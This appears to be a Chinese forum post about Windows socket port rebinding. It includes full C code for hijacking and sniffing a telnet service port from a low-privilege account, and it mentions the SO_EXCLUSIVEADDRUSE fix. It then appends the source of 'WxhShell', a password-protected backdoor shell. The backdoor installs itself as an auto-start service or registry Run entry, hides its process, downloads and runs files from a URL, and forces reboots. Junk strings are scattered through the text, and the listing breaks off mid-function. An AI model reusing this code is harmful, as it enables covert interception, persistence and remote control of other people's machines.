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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: j#}wg`P"A  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B|\pzWD%  
G~z=,72  
  saddr.sin_family = AF_INET; K90wX1&  
6Z09)}tZb  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); :%_*C09  
(u/-ud1p  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :Ma=P\J W  
ORVFp]gG  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 c[p>*FnP  
>XTDN  
  这意味着什么?意味着可以进行如下的攻击: ,\YlDcl':0  
uu5AW=j  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 MR=dQc  
9%{V?r]k  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %y7&~me  
.A(QqL>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。  Ptt  
pr\wI?:k  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $w,O[PIi  
'?j[hhfB-  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2O|jVGap5x  
f*Z8C9)  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 OTgctw1s  
i5PZ)&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Ijg //=  
*Sd}cDCO%  
  #include 3 pzp6o2  
  #include jN3K= MA  
  #include ^{<!pvT  
  #include    BM~>=emc  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Sw1z^`  
  int main() Eo\pNz#)  
  { )$EmKOTt:  
  WORD wVersionRequested; pr;n~E 'kq  
  DWORD ret; fGZZ['E  
  WSADATA wsaData; m`;dFL7"E  
  BOOL val; (]_smsok  
  SOCKADDR_IN saddr; ^bD)Tg5K  
  SOCKADDR_IN scaddr; *Z9Rl>  
  int err; DGc5Lol~  
  SOCKET s; 9Dat oi  
  SOCKET sc; !^[i"F:G  
  int caddsize; g1!ek  
  HANDLE mt; 0mt lM(  
  DWORD tid;   UFE# J  
  wVersionRequested = MAKEWORD( 2, 2 ); wBuos}/  
  err = WSAStartup( wVersionRequested, &wsaData ); u&M:w5EM  
  if ( err != 0 ) { +'-i(]@!'  
  printf("error!WSAStartup failed!\n"); be<7Vy]j  
  return -1; hFW{qWP  
  } J!\Cs1 !f  
  saddr.sin_family = AF_INET; g-C)y 06  
   f9%M:cl  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !t;B.[U *  
#<$pl]>}t  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ES4[@RX  
  saddr.sin_port = htons(23); *#n#J[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z2t'?N|_  
  { -`f 1l8LD2  
  printf("error!socket failed!\n"); %%-?~rjI  
  return -1; qsA`\%]H  
  } S9 p*rk ~  
  val = TRUE; ' ?4 \  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 dmB _`R  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) w\K(kNd(  
  { Wr j<}L|  
  printf("error!setsockopt failed!\n"); 5bj9S  
  return -1; yQ [n7du  
  } )yl;i  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ln1QY"g  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ! %~P[;.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Hf$pwfGcY]  
3D}rxI8N  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) w/1Os!p  
  { B[$L)y'-;  
  ret=GetLastError(); kB! iEoIBA  
  printf("error!bind failed!\n"); y/.I<5+Bu  
  return -1; M#u~]?hS  
  } hifC.guK  
  listen(s,2); E"'4=_  
  while(1) 6f'THU$  
  { x/d(" Bb  
  caddsize = sizeof(scaddr); l-gNJ=l+K  
  //接受连接请求 BJDSk#!J!{  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); #5 %\~ f  
  if(sc!=INVALID_SOCKET) FJ+n- \  
  { G m~2s;/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); DtFzT>$^F  
  if(mt==NULL) h,fC-+H5  
  { (teK0s;t5k  
  printf("Thread Creat Failed!\n"); eZ G#op  
  break; [uLpm*7  
  } i)1013b  
  } #xoFcjRE  
  CloseHandle(mt); gebDNl\Y2  
  } 8XG|K`'u  
  closesocket(s); k .#I ;7  
  WSACleanup(); j /)A<j$  
  return 0; olxnQYFo  
  }   FoW|BGA~  
  DWORD WINAPI ClientThread(LPVOID lpParam) 1$S`>M%a  
  { C}=9m A  
  SOCKET ss = (SOCKET)lpParam; lD-HQd  
  SOCKET sc; s#p\ r  
  unsigned char buf[4096]; /D>G4PP<  
  SOCKADDR_IN saddr; khb/"VYd  
  long num; \c\z 6;j  
  DWORD val; $/FL)m8.3  
  DWORD ret; haSC[[o=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]Vm:iF#5P  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   \%czNF  
  saddr.sin_family = AF_INET; #zed8I:w  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); BCI[jfd7  
  saddr.sin_port = htons(23); F@ld#O  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) A|`mIma#  
  { >mW*K _~  
  printf("error!socket failed!\n"); e6i m_ Tk  
  return -1; CeINODcT  
  } o:c:hSV  
  val = 100; MC~<jJ,  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) m85H x1!p.  
  { ~vscATQ  
  ret = GetLastError(); {%BPP{OFk  
  return -1; 3Hi[Y[O`%P  
  } oIv\Xdc81  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .FeVbZW  
  { z5 g4+y,  
  ret = GetLastError(); N Wf IRL  
  return -1; nc9sfH3  
  } ~N]pB]/][  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) gkFw=Cd  
  { 5_+pgJL  
  printf("error!socket connect failed!\n"); D16w!Mnz{K  
  closesocket(sc); 2I>`{#fV  
  closesocket(ss); m:)s UC0  
  return -1; j58'P 5N  
  } 9CFh'>}$  
  while(1) :;URLl0  
  { Zv5vYe9Ow  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 XR+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {lbNYjknS  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 q^ eLbivVE  
  num = recv(ss,buf,4096,0); nC5]IYL|  
  if(num>0) > zV  
  send(sc,buf,num,0); ly::?  
  else if(num==0) V)Ze> Pp  
  break; )W^$7 Em  
  num = recv(sc,buf,4096,0); ^D?{[LBc  
  if(num>0) x0||'0I0  
  send(ss,buf,num,0); -J;;6aA  
  else if(num==0) /wPW2<|"X.  
  break; .OZ\ s%h;  
  } TlC GP)VSj  
  closesocket(ss); 5I&Dk4v  
  closesocket(sc); *:Uq ;)*  
  return 0 ; ^ pNA_s!S  
  } Ov@vNj&  
c@x6<S%*  
}q=tg9  
========================================================== $QnsP#ePN  
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下边附上一个代码,,WXhSHELL UgTgva>?  
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========================================================== #b@ sV$  
[e7nW9\l  
#include "stdafx.h" 5"&=BD~D  
.\7AJB\l  
#include <stdio.h> ~BC~^ D&WD  
#include <string.h> 2. f8uq  
#include <windows.h> W=I~GhM  
#include <winsock2.h> Wrf+5 ;,,  
#include <winsvc.h> VK% j45D`  
#include <urlmon.h> J]5ZWo%  
4"s/T0C  
#pragma comment (lib, "Ws2_32.lib") 9.wZhcqqU  
#pragma comment (lib, "urlmon.lib") qoSZ+ khS$  
FVWHiwRU,  
#define MAX_USER   100 // 最大客户端连接数 d 0 mfqP=  
#define BUF_SOCK   200 // sock buffer gTk*v0WBm  
#define KEY_BUFF   255 // 输入 buffer v,jB(B^|Z  
Ao, <G.>R  
#define REBOOT     0   // 重启 #F#M<d3-2  
#define SHUTDOWN   1   // 关机 i> dLp  
3/Dis) v8  
#define DEF_PORT   5000 // 监听端口 KvumU>c#A  
N=j$~,yG  
#define REG_LEN     16   // 注册表键长度 o('6,D  
#define SVC_LEN     80   // NT服务名长度 H`nd |  
*})Np0k  
// 从dll定义API !X\aZ{}Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d Z x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ->'xjD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BeFXC5-qat  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'H(khS  
({mlA`d]  
// wxhshell配置信息 2Yg\<Ps N  
struct WSCFG { Uy<n7*H  
  int ws_port;         // 监听端口 0RHjA& r3v  
  char ws_passstr[REG_LEN]; // 口令 >AW&Lfw$  
  int ws_autoins;       // 安装标记, 1=yes 0=no )v %tyU  
  char ws_regname[REG_LEN]; // 注册表键名 11B8 LX  
  char ws_svcname[REG_LEN]; // 服务名  g^))  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Lj1>X2.gD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /%AA\`: 6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "QmlW2ysi  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P,)\#([vc  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Je~`{n  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &%4A3.qE  
2+|U!X  
}; x{3q'2  
IZ@M K  
// default Wxhshell configuration sOm&7A?  
struct WSCFG wscfg={DEF_PORT, {j%7/T{  
    "xuhuanlingzhe", o`.5NUn  
    1, %$F_oO7"  
    "Wxhshell", X<d`!,bn@  
    "Wxhshell", [0H]L{yV  
            "WxhShell Service", (H-kWT  
    "Wrsky Windows CmdShell Service", BOme`0A  
    "Please Input Your Password: ", ?>q5Abp[  
  1, SHQgI<D7  
  "http://www.wrsky.com/wxhshell.exe", z q@"qnr  
  "Wxhshell.exe" 9`Xr7gmQf  
    }; DI=?{A  
.50ql[En  
// 消息定义模块 W];l[D<S*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; YXIAVSnr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -o+; e3#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =QhK|C!$A  
char *msg_ws_ext="\n\rExit."; vAzSpiv-  
char *msg_ws_end="\n\rQuit."; Z`>m   
char *msg_ws_boot="\n\rReboot..."; @DK`#,  
char *msg_ws_poff="\n\rShutdown..."; `%$+rbo~  
char *msg_ws_down="\n\rSave to "; 1SG^X-(GM/  
:`Xg0J+P  
char *msg_ws_err="\n\rErr!"; |H;+9(  
char *msg_ws_ok="\n\rOK!"; 4S*dNYc  
"]B%V!@  
char ExeFile[MAX_PATH]; Jm-bE 8b  
int nUser = 0; @"n]v)[4  
HANDLE handles[MAX_USER]; Svm'ds7>  
int OsIsNt; !JbWxGN`jn  
{YEGy  
SERVICE_STATUS       serviceStatus; \Z_29L w=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3ZhuC".c  
G=&nwSL  
// 函数声明 b5W(}ka+  
int Install(void); X{P=2h#g  
int Uninstall(void); !fG}<6&i  
int DownloadFile(char *sURL, SOCKET wsh); .QB)Y* z  
int Boot(int flag); 8UXtIuQ  
void HideProc(void); "B0I$`~wu  
int GetOsVer(void); HJ;!'@  
int Wxhshell(SOCKET wsl); n4o}}tI  
void TalkWithClient(void *cs); 2I{kLN1TY  
int CmdShell(SOCKET sock); m:c .dei5  
int StartFromService(void); +O@|bd \  
int StartWxhshell(LPSTR lpCmdLine); @cn8m  
u6i X&%e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G.>Ul)O:a  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c.}#.-b8  
z7R2viR[  
// 数据结构和表定义 n7L|XkaQ  
SERVICE_TABLE_ENTRY DispatchTable[] = H4uHCkj  
{ fy={  
{wscfg.ws_svcname, NTServiceMain}, 7,FhKTV1/  
{NULL, NULL} uEr['>  
};  e,T^8_>  
qD{~QHDa  
// 自我安装 _c,{}sn  
int Install(void)  RAF do  
{ c1 Hp  
  char svExeFile[MAX_PATH]; 2!GyQ@&[W  
  HKEY key; Y/y`c-VO  
  strcpy(svExeFile,ExeFile); z|O3pQn~  
j {Sbf04  
// 如果是win9x系统,修改注册表设为自启动 C wwZ~2  
if(!OsIsNt) { Z=s.`?Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]r>m{"~E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I.kuYD62  
  RegCloseKey(key); Cps' l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f'O cW* t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ov,[F< GT  
  RegCloseKey(key); &)!4rABn  
  return 0; ^IO\J{U{"x  
    } d t^Hd]+^\  
  } !nTI(--  
} vo^2k13  
else { K?*p|&Fi?8  
N$M:&m3^  
// 如果是NT以上系统,安装为系统服务 /]9(InM9/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rtz  ]PH  
if (schSCManager!=0) 8@7leAq!  
{ t]8nRZ1  
  SC_HANDLE schService = CreateService ,ygDNF  
  ( a2B9 .;F  
  schSCManager, ];\XA;aOl}  
  wscfg.ws_svcname, =" pNE#  
  wscfg.ws_svcdisp, #&ayWef  
  SERVICE_ALL_ACCESS, pV/5w<_x?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `IJTO_  
  SERVICE_AUTO_START, t4+bRmS`_  
  SERVICE_ERROR_NORMAL, synueg  
  svExeFile, qq>Qi(>  
  NULL, p']{WLDj2  
  NULL, vCn\_Nu;W&  
  NULL, ~=?^v[T1  
  NULL, [E9)Da_)i  
  NULL JN3&(t  
  ); Gp2C wyv  
  if (schService!=0) NGmXF_kqN  
  { o':K4r;  
  CloseServiceHandle(schService); IgPU^?sp  
  CloseServiceHandle(schSCManager); B]:?4Ov  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -d^c!Iu|  
  strcat(svExeFile,wscfg.ws_svcname); p$a+?5'Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >f(M5v(D\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); '}F..w/  
  RegCloseKey(key); 'SKq<X%R;  
  return 0; ?~ /_&=NSx  
    } {0 L)B{|  
  } N'YQ6U  
  CloseServiceHandle(schSCManager); L | #"Yn  
} _C@<*L=Q  
} Dp^6|T*HU  
"s7}eWM*a  
return 1; fhmBKeFdV  
} '}E"M db  
s"x(i  
// 自我卸载 AA[?a  
int Uninstall(void) K[i&!Z&  
{ iw I}  
  HKEY key; 3W}qNY;J  
JY$+<`XM  
if(!OsIsNt) { Vs(D(d,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lVgin54Q  
  RegDeleteValue(key,wscfg.ws_regname); UH#S |o4  
  RegCloseKey(key); c"zE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ww)ow\  
  RegDeleteValue(key,wscfg.ws_regname); yD Avl+  
  RegCloseKey(key); 6NGQU%Hd  
  return 0; C@ "l"  
  } ;R^=($X  
} _g6H&no[  
} i7\MVI 8  
else { ;TboS-Y  
fnK H<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wN:vI(C  
if (schSCManager!=0) "MgTfUIiyD  
{  !qTP  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )npvy>C'(  
  if (schService!=0) "O8iO!:  
  { 9XX:_9|I  
  if(DeleteService(schService)!=0) { q m"AatA  
  CloseServiceHandle(schService); IY}{1[<N  
  CloseServiceHandle(schSCManager); '-_tF3x  
  return 0; DiSU\?N2'  
  } GSVLZF'+  
  CloseServiceHandle(schService); =r^Pu|  
  } A{)p#K8  
  CloseServiceHandle(schSCManager); fT5vO.a  
} .cs4AWml<  
} vUB*Qm]Y\  
u\u6< [>P  
return 1; @-XMox/  
} LcGG~P|ML  
B0,C!??5  
// 从指定url下载文件 %[BOe4[  
int DownloadFile(char *sURL, SOCKET wsh) /m h #o  
{ 6{H@VF<QY!  
  HRESULT hr; K.42 VM)F  
char seps[]= "/"; [k60=$y  
char *token; +4V"&S|&  
char *file; c? >;UzM  
char myURL[MAX_PATH]; d%#5roR4<  
char myFILE[MAX_PATH]; %APeQy"6#^  
o= &/ ;X  
strcpy(myURL,sURL); iy [W:<c7j  
  token=strtok(myURL,seps); qjf9ZD&  
  while(token!=NULL) gFr-P!3  
  { (4C_Ft*~j  
    file=token; ,9~qLQ0O  
  token=strtok(NULL,seps); 8!qzG4F/  
  } !uAqY\Is  
{r_x\VC=p  
GetCurrentDirectory(MAX_PATH,myFILE); :Kk+wp}f #  
strcat(myFILE, "\\"); $pj;CoPm  
strcat(myFILE, file); eV(   
  send(wsh,myFILE,strlen(myFILE),0); 4*?i!<N9  
send(wsh,"...",3,0); a4Y43n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Og2G0sWRf  
  if(hr==S_OK) d+%Rg\ v  
return 0; t ]P^6jw'  
else e?fA3Fug  
return 1; ML:H\  
APqYf<W  
} (gb vInZ  
W!)B%.Q  
// 系统电源模块 tWA<OOl  
int Boot(int flag) =&y6mQ  
{ WJii0+8e  
  HANDLE hToken; }=s64O 9j  
  TOKEN_PRIVILEGES tkp; \)2~o N  
lj@ ibA]  
  if(OsIsNt) { <O4W!UVg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Dj'+,{7,u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @H8CU!J  
    tkp.PrivilegeCount = 1; cR!Mn$m  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %D E_kwL  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !5K5;M_Ih"  
if(flag==REBOOT) { YkI_i(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) oC|']r6  
  return 0; U2*kuP+n  
} )CG,Udu  
else { W"\O+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8GT4U5c ;  
  return 0; PPj%.i)  
} !Er)|YP  
  } 6yedl0@wa!  
  else { h&<>nK   
if(flag==REBOOT) { SH;:bLk_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V~S(cO[vj  
  return 0; #~`d ;MC  
} ejlau#8"  
else { ~~{+?v6B]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) z{A~d  
  return 0; @K}Bll.E  
} mZ#h p}\.  
} !.[H !-V.  
_PGS"O?j  
return 1; sQ8kLS_q8  
} mC./,a[  
)q>q]eHz  
// win9x进程隐藏模块 .Tc?PmN  
void HideProc(void) Q =4~u z|  
{ -5MQ/ujQ  
|^ J5YwCf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); BH2JH>'X  
  if ( hKernel != NULL ) bs?&;R.5  
  { 2;`WI:nt  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); DQ%(X&k  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5@`dKFB5  
    FreeLibrary(hKernel); $Sc;  
  } *m:'~\[u  
X?n($z/ {  
return; pu Z0_1uN  
} :zsMkdU  
`f\+aD'u  
// 获取操作系统版本 ,*g.?q@W2  
int GetOsVer(void) ant#bDb/  
{ d%Nx/DS)  
  OSVERSIONINFO winfo; i} ?\K>BWq  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); lcEUK  
  GetVersionEx(&winfo); 7 MG<!U  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4[n[Ch=lu  
  return 1; betTAbF  
  else !X+}W[Ic^  
  return 0; 3'6by!N,d  
} tiTh7qYi9  
_t@9WA;+\  
// 客户端句柄模块 l`?4O  
int Wxhshell(SOCKET wsl) M`QK{$1p  
{ ?xb2jZ/0X  
  SOCKET wsh; p9j2jb,qy  
  struct sockaddr_in client; lfyij[6q+  
  DWORD myID; |jyD@Q,4  
xH{V.n&v  
  while(nUser<MAX_USER) 7!^Zsp^+  
{ KBwY _  
  int nSize=sizeof(client); #s|,o Im  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); lcuqzX{7  
  if(wsh==INVALID_SOCKET) return 1; u~\ NL{  
DXx),?s>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ad`=A V]  
if(handles[nUser]==0) Jek3K&  
  closesocket(wsh); |#x]/AXa0/  
else # &Z1d(!  
  nUser++; HC(o;,spO  
  } ?<D1] Xv  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ky@DH(^>  
`a]feAl  
  return 0; b%|6y  
} Pt?d+aBtV  
$QJ,V~  
// 关闭 socket f(.t0{Etq  
void CloseIt(SOCKET wsh) ,Zb_Pu   
{ .5+5ca  
closesocket(wsh); #E@X'jwu  
nUser--; vz`r !xj)  
ExitThread(0); @S?D}myD  
} G[\3)@I  
GFgh{'|  
// 客户端请求句柄 z-;yDB:~t  
void TalkWithClient(void *cs) oL*ZfF3  
{ e4Xo(EY &  
yr34&M(a  
  SOCKET wsh=(SOCKET)cs; xQ\S!py-  
  char pwd[SVC_LEN]; \zV'YeG  
  char cmd[KEY_BUFF]; T#D*B]oZ}  
char chr[1]; + wF5(  
int i,j; Rmh u"N/q  
<k 7q 9"\4  
  while (nUser < MAX_USER) { J|N>}di  
HOlMj!.  
if(wscfg.ws_passstr) { 4nGr?%>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zH1ChgF=}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sH\ h{^  
  //ZeroMemory(pwd,KEY_BUFF); <(B: "wI  
      i=0; y\}<N6  
  while(i<SVC_LEN) { l#;o^H i  
@rxfOc0J#  
  // 设置超时 r9$7P?zm  
  fd_set FdRead; 1zc-$B`t  
  struct timeval TimeOut; m'5rzZP  
  FD_ZERO(&FdRead); <R8!fc{`  
  FD_SET(wsh,&FdRead); .$s=E8fW  
  TimeOut.tv_sec=8; 6x"|,,&MD0  
  TimeOut.tv_usec=0; $jL+15^N0+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~A-VgBbU>_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~+Ows  
x).`nZ1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bTc'E#  
  pwd=chr[0]; ,[)f-FmcU  
  if(chr[0]==0xd || chr[0]==0xa) { uqK[p^{  
  pwd=0; [C(>e0r  
  break; JURJN+)z  
  } 19;F+%no#  
  i++; t$5)6zG  
    } D8wZC'7  
BV6 U -  
  // 如果是非法用户,关闭 socket LKI2R_|n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M;1B}x@  
} Ub<^;Du5  
<!I^xo [  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dJUI.!hv;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~VaO,8&+L  
J7s\  
while(1) { c9axzg UA  
n]J;BW& Av  
  ZeroMemory(cmd,KEY_BUFF); 7wwlZ;w  
K 6HH_T  
      // 自动支持客户端 telnet标准   =Btmi  
  j=0; c`4i#R  
  while(j<KEY_BUFF) { 4@*`V  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $_b^p=  
  cmd[j]=chr[0]; R9O[`~BA2  
  if(chr[0]==0xa || chr[0]==0xd) { il >XV>  
  cmd[j]=0; /_CSRi&  
  break; L+ d4&x  
  } iV8O<en&i  
  j++; #dm"!I>g  
    } ~h6aTN  
lO dw H"  
  // 下载文件 iXFN|ml  
  if(strstr(cmd,"http://")) { p/.[ cH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); AcxC$uh  
  if(DownloadFile(cmd,wsh))  TrmU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); p_Y U!j_VE  
  else Nlfz'_0M  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L'$;;eM4  
  } rH5'+x K  
  else { [wR x)F"  
_#rE6./@q  
    switch(cmd[0]) { Y)OTvKrOA  
  LwS>jNJx  
  // 帮助 M>"J5yqR  
  case '?': { Pg/$ N5->  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zoI0oA  
    break; 9Z;"9$+M  
  } M8iI e:{ c  
  // 安装 Aq"<#:  
  case 'i': { 30nR2mB Kt  
    if(Install()) agMI$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;,F:.<P  
    else CXfPC[o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3QO*1P@q  
    break; ql c{k/ u  
    } f+j-M|A  
  // 卸载 (D rDWD4_  
  case 'r': { ~q05xy8  
    if(Uninstall()) R=u!Rcv R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <zE~N~;  
    else C'Z6l^{>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X6lUFko  
    break; Z=\wI:TY1  
    } )k'4]=d <  
  // 显示 wxhshell 所在路径 @F,8M  
  case 'p': { gg%9EJpP  
    char svExeFile[MAX_PATH]; 'Xw> ?[BB  
    strcpy(svExeFile,"\n\r"); ThmN^N  
      strcat(svExeFile,ExeFile); +p#Q|o'  
        send(wsh,svExeFile,strlen(svExeFile),0); l4`HuNR1  
    break; FW7@7cVoF  
    } lL{1wCsl  
  // 重启 5fVm392+  
  case 'b': { #K _E/~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zM*PN|/%sH  
    if(Boot(REBOOT)) CH3bpZv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); " .:b43Z  
    else { `SGI Qrb  
    closesocket(wsh); ($A0u mW1%  
    ExitThread(0); %h-?ff[  
    } Q( \2(x\  
    break; _ZU.;0  
    } #+]-}v3  
  // 关机 9#A&Qvyywg  
  case 'd': { 4x%R4tk  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |g}~7*+i  
